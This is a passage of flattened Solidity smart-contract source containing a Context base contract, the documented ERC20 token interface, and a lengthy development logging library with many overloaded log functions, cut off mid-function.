abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string 